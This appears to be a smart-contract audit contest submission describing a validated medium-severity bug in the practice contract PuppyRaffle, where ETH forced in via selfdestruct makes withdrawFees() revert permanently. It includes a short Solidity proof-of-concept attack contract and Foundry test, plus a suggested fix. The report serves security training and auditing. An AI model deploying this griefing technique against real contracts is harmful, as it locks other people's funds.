Beginner FriendlyFoundryNFT
100 EXP
View results
Submission Details
Severity: medium
Valid

Can't withdraw fees if malicious attacker send PuppyRaffle ETH by selfdestruct

Summary

Can't withdraw fees if malicious attacker send PuppyRaffle ETH by selfdestruct

Vulnerability Details

If malicious attacker send PuppyRaffle ETH by selfdestruct, the address(this).balance == uint256(totalFees) will always be invalid. The withdrawFees() function will always revert.

Impact

The fees can't withdraw and will be locked in the contract

Tools Used

manual
foundry

POC

contract SelfDestructAttack {
constructor(address _addr) payable {
selfdestruct(payable(_addr));
}
}
function testCanNotWithdrawFees() public playersEntered {
vm.warp(block.timestamp + duration + 1);
vm.roll(block.number + 1);
puppyRaffle.selectWinner();
new SelfDestructAttack{value:entranceFee}(address(puppyRaffle));
vm.expectRevert("PuppyRaffle: There are currently players active!");
puppyRaffle.withdrawFees();
}

Recommendations

It is suggested to replace with require(address(this).balance >= uint256(totalFees), "PuppyRaffle: There are currently players active!");

Updates

Lead Judging Commences

Hamiltonite Lead Judge about 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

greifers-send-money-to-contract-to-block-withdrawfees

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!